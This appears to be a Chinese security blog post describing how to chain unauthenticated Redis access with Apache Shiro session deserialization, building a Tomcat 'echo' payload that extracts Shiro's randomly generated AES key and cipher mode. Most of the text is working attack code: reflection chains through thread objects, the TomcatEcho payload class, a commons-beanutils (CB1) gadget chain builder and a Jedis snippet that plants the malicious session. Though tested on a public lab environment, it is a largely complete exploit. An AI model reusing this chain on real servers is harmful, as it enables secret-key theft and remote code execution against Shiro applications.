一、前言
最近拜读 cokeBeer 师傅《redis未授权到shiro反序列化》,文中使用pyyso生成无回显RCE链,再走redis添加session实现反序列化。这种方法虽然可以在shiro 的AES 密钥未知的情况下RCE,但是无回显链用起来毕竟没那么方便。
众所周知,shiro 550要想getshell总共分两步,第一步搞个key和分组模式,第二步搞条链。既然有可以构造链的依赖,那么想办法构造一个回显链搞到随机的AES 密钥和分组模式,就可以结合传统一把梭工具愉快地食用了。本文详细记录了跟Except1on师傅一起尝试实现上述设想的踩坑过程。
二、漏洞概述
“在一次渗透测试的过程中发现6379端口上开着一个未授权的redis,尝试利用redis进行rce失败。又发现redis缓存了shiro的session,最终通过redis未授权配合shiro-redis反序列化实现rce” — cokeBeer《redis未授权到shiro反序列化》。
简单来说就是通过向未授权的redis添加恶意构造的session键值对,后端从redis 中读取session,将其反序列化成 Session 对象时触发RCE。
三、相关背景
本文沿用 cokeBeer 师傅《redis未授权到shiro反序列化》里 alexxiyang 师傅的漏洞环境
在该环境下,我们需要关注下面4个类。
四、获取密钥和分组模式
4.1 思路
在 AbstractRememberMeManager 类中,类变量encryptionCipherKey用于存放shiro的AES密钥,在 RCE 过程中想办法从上下文获取到该变量,哪怕是动态生成的密钥,也能给它揪出来。
private byte[] encryptionCipherKey;
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}
4.2 从上下文中找到存放encryptionCipherKey的对象
这里就需要用到 c0ny1 师傅的《java内存对象搜索辅助工具》,在Java应用运行时,对内存中的对象进行搜索。我们在漏洞环境 导入上述工具的依赖包,并在org.crazycake.shiroredisspringboottutorial.controller.LoginController#login接口里添加如下代码,搜索包含 encryptionCipherKey 的对象,将结果保存到指定目录,下面是关键代码,结果保存到 C 盘。
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("byte[]").setField_name("encryptionCipherKey").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("C:\\");
searcher.searchobject();
没有生成预期的搜索结果文件
换个姿势搜 AbstractRememberMeManager
keys.add(new Keyword.Builder().setField_type("AbstractRememberMeManager").build());
靠,还是不对。
花两秒想了下,搜索目标是对象,然鹅AbstractRememberMeManager 是个抽象类,抽象类是不允许实例化的,那么得找它子类 CookieRememberMeManager的实例对象。
keys.add(new Keyword.Builder().setField_type("CookieRememberMeManager").build());
这波稳了,出现带 result的搜索结果日志
4.3 分析调用栈
我们打开搜索结果日志,可以看到门前有两棵树,一棵是枣树,另一棵也是枣树。咳咳(❍ᴥ❍ʋ)
一棵ThreadLocal$ThreadLocalMap,另一棵TomcatEmbeddedWebappClassLoader 。
要找到某一个线程,通过反射一层层的获取到我们想要的 encryptionCipherKey 不是梦。
这里直接参考业内最常用的全版本 Tomcat 获取 request 对象的代码并进行改造。
下面for 循环内代码就是我们需要改造的部分。
//标记是否回显成功,成功后不再继续
boolean flag = false;
//临时存储反射取到的field对象
object o = null;
try {
//获取当前所有线程
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
//遍历所有线程
for (int i = 0; i < threads.length; i++) {
//当前线程
Thread thread = threads[i];
//获取线程名
String threadName = thread.getName();
try {
//当前线程名包含http,但是不包含exec时
if (!threadName.contains("exec") && threadName.contains("http")) {
//获取当前线程的名为target的field对象
o = getField(thread, "target");
//如果当前field对象不为Runnable类的实例,则遍历下一个线程
if (!(o instanceof Runnable)) {
continue;
}
try {
//获取同时满足包含这三个属性名的field对象
o = getField(getField(getField(o, "this$0"), "handler"), "global");
} catch (Exception e) {
//如果没有找到抛出异常,则遍历下一个线程
continue;
}
//获取名为processors的field对象,该对象为ArrayList类型
ArrayList processors = (ArrayList) getField(o, "processors");
for (int j = 0; j < processors.size(); j++) {
//获取当前processor的requestInfo对象
RequestInfo requestInfo = (RequestInfo) processors.get(j);
//获取当前requestInfo的coyote下面的req对象
Request req = (Request) getField(requestInfo, "req");
if (req.decodedURI().isNull()) {
continue;
}
//获取当前requestInfo的connector下面的req对象
org.apache.catalina.connector.Request tomReq = (org.apache.catalina.connector.Request) req.getNote(1);
return tomReq;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
getField 方法是通过反射直接获取对象的指定属性值。
private static object getField(object o, String s) throws Exception {
Field f = null;
Class clazz = o.getClass();
while (clazz != object.class) {
try {
f = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (f == null) {
throw new NoSuchFieldException(s);
} else {
f.setAccessible(true);
return f.get(o);
}
}
4.4 通过两种不同的调用栈获取encryptionCipherKey
这里仅针对该漏洞环境进行测试,因技术有限,通用性可能无法保证,其他环境的手法大同小异。
- 从ThreadLocal$ThreadLocalMap 中获取encryptionCipherKey
依次通过反射获取对象中属性值。
需要 getField 反射调用的层级:对象值(对象类型)
inheritableThreadLocals (ThreadLocalMap)-> table (Entry []) -> value (Entry) -> value (HashMap) -> rememberMeManager (CookieRememberMeManager)
我们先直接将获取的结果拼接在返回的视图里面,进行测试。
try {
object inheritableThreadLocals = getField(thread, "inheritableThreadLocals");
Integer size = (Integer) getField(inheritableThreadLocals, "size");
System.out.println("ThreadLocal "+size);
if (size == 0) {
return null;
}
object[] table = (object[]) getField(inheritableThreadLocals, "table");
for (int j = 0; j < table.length; j++) {
if (table[j] != null) {
object value = getField(table[j], "value");
HashMap map = (HashMap) value;
object securityManager = map.get("org.apache.shiro.util.ThreadContext_SECURITY_MANAGER_KEY");
DefaultWebSecurityManager securityManager1 = (DefaultWebSecurityManager) securityManager;
AbstractRememberMeManager abstractRememberMeManager = (AbstractRememberMeManager) securityManager1.getRememberMeManager();
CipherService cipherService = abstractRememberMeManager.getCipherService();
AesCipherService cipherService1 = (AesCipherService) cipherService;
return "cipherKey : " + new String(base64.getEncoder().encode(abstractRememberMeManager.getCipherKey())) +
"Mode : " + cipherService1.getModeName();
}
}
} catch (Exception e) {
return null;
}
return null;
嗯,效果凑合。
通过层层反射套娃,成功获取到了随机生成的AES密钥和分组模式
- 从 TomcatEmbeddedWebappClassLoader 中获取
需要 getField 反射调用的层级:
contextClassLoader -> resources -> context -> context -> attributes -> attributes -> applicationEventMulticaster -> retrievalMutex
跟第一棵树差不多,花十分钟如法炮制。
我们同样直接将获取的结果拼接在返回的视图里面,进行测试。
CookieRememberMeManager rememberMeManager = null;
object cipherService = null;
try {
object contextClassLoader = getField(thread, "contextClassLoader");
object resources = null;
resources = getField(contextClassLoader, "resources");
object context = getField(resources, "context");
context = getField(context, "context");
object attributes = getField(context, "attributes");
ConcurrentHashMap attribute = (ConcurrentHashMap) attributes;
object o = attribute.get("org.springframework.web.context.WebApplicationContext.ROOT");
object applicationEventMulticaster = getField(o, "applicationEventMulticaster");
object retrievalMutex = getField(applicationEventMulticaster, "retrievalMutex");
ConcurrentHashMap retrievalMute = (ConcurrentHashMap) retrievalMutex;
object securityManager = retrievalMute.get("securityManager");
DefaultWebSecurityManager securityManager1 = (DefaultWebSecurityManager) securityManager;
rememberMeManager = (CookieRememberMeManager) securityManager1.getRememberMeManager();
cipherService = getField(rememberMeManager, "cipherService");
} catch (Exception e) {
return "";
}
AesCipherService cipherService1 = (AesCipherService) cipherService;
return "cipherKey : " + new String(base64.getEncoder().encode(rememberMeManager.getCipherKey())) +
"Mode : " + cipherService1.getModeName();
嗯,效果也还凑合。
五、改造回显马输出密钥和分组模式
5.1 思路
回显马核心也是从线程中获取到请求和响应对象,并且用响应对象通过输出流将密钥和分组模式打印到客户端。
5.2 回显代码缝合
本着不重复造轮子,只改造轮子的原则,我们站在前面无数巨佬们的肩膀上,将业内常用的 TomcatEcho 回显马进行改造。缝合上我们 4.3 节及 4.4 节中的代码,纯 CV 大法,没有太多技术含量,缝合细节不再赘述。
public class TomcatEcho extends AbstractTranslet {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public TomcatEcho() throws Exception {
// 从线程中获取 request 对象
object request = getRequestFromThreads();
// request 对象赋值给成员属性。
load(request);
// 从线程中获取 shiro 密钥
String keys = "keys: " + getShiroKeysFromThreads();
// 将 shiro 密钥回显给当前请求
PrintWriter writer = response.getWriter();
writer.write(keys);
}
// 线程中获取 request 对象,详见 4.3 节
private static object getRequestFromThreads() throws Exception {
}
public void load(object obj) throws NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
System.out.println("load");
try {
if (obj instanceof HttpServletRequest) {
request = (HttpServletRequest) obj;
response = (HttpServletResponse) request.getClass().getDeclaredMethod("getResponse").invoke(obj);
}
} catch (Exception var8) {
// do nothing
}
}
private static String getShiroKeysFromThreads() {
try {
Thread[] ts = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (int i = 0; i < ts.length; ++i) {
Thread t = ts[i];
// 从线程中获取 shiro 密钥,详见 4.4 节
String res = getKeyByThreadLocal(t);
System.out.println(res);
if (isNotBlank(res)) {
return res;
}
}
} catch (Exception var17) {
;
}
return null;
}
// 反射获取对象属性值,详见 4.3 节
private static object getField(object o, String s) throws Exception {
}
public static boolean isNotBlank(String s) {
return !isBlank(s);
}
public static boolean isBlank(String s) {
return s == null || s.trim().isEmpty();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
六、用CB1链封装回显马
漏洞环境依赖的是 commons-beanutils,这里注意,生成CB1链时 commons-beanutils 版本需要与漏洞环境保持一致,否则会出现因为序列化前后serialVersionUID 不一致抛出异常导致反序列化过程失败。
我们继续将改造后的回显马封装到CB链里面,这里用到了 javassist 工具库来直接获取类的字节码。
public static byte[] commonsBeanutils1() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(TomcatEcho.class.getName());
byte[] classByteArray = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
ReflectionUtil.setValueField(templates, "_name", "f");
ReflectionUtil.setValueField(templates, "_bytecodes", new byte[][]{code});
ReflectionUtil.setValueField(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<object> queue = new PriorityQueue<object>(2, comparator);
queue.add("1");
queue.add("1");
ReflectionUtil.setValueField(comparator, "property", "outputProperties");
ReflectionUtil.setValueField(queue, "queue", new object[]{templatesImpl, templatesImpl});
try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
objectOutputStream ou = new objectOutputStream(bos)) {
ou.writeobject(queue);
return bos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
}
return new byte[]{};
}
所以现在我们手上有两只session回显马,一只是ThreadLocal$ThreadLocalMap 回显马,另一只是 TomcatEmbeddedWebappClassLoader 回显马。
七、向Redis添加session回显马
这里我们随便访问一个不存在的接口,后端返回了一个cookie
我们直接用Jedis库来向Redis添加session回显马。
public static void main(String[] args) throws Exception {
Jedis jedis = new Jedis("redis://127.0.0.1:6379");
String s = "shiro:session:wuhu~run";
byte[] injectByte = commonsBeanutils1();
jedis.set(s.getBytes(), injectByte);
}
7.1 验证ThreadLocal$ThreadLocalMap 回显马效果
先上我们的ThreadLocal$ThreadLocalMap 回显马。
然后把JSESSIONID的值替换成回显马的key,即“wuhu~run”。
喔豁,翻车了(ㄒoㄒ),结果出现 null 。
通过断点调试发现 32 个线程中,ThreadLocalMap 内容都为空,技术有限,变成了死马。
7.2 验证TomcatEmbeddedWebappClassLoader 回显马效果
上我们的 TomcatEmbeddedWebappClassLoader 回显马。
然后把JSESSIONID的值替换成回显马的 key,即“wuhu~run”。
芜湖~起飞(∩_∩)
终于成功返回了随机的AES密钥和分组模式。
有链、有key、有分组模式,剩下就是熟悉的一把梭了。
八、相关参考链接
[2] https://github.com/alexxiyang/shiro-redis-spring-boot-tutorial
[3] https://github.com/c0ny1/java-object-searcher
原文始发于NOSEC:redis未授权到shiro反序列化之session回显马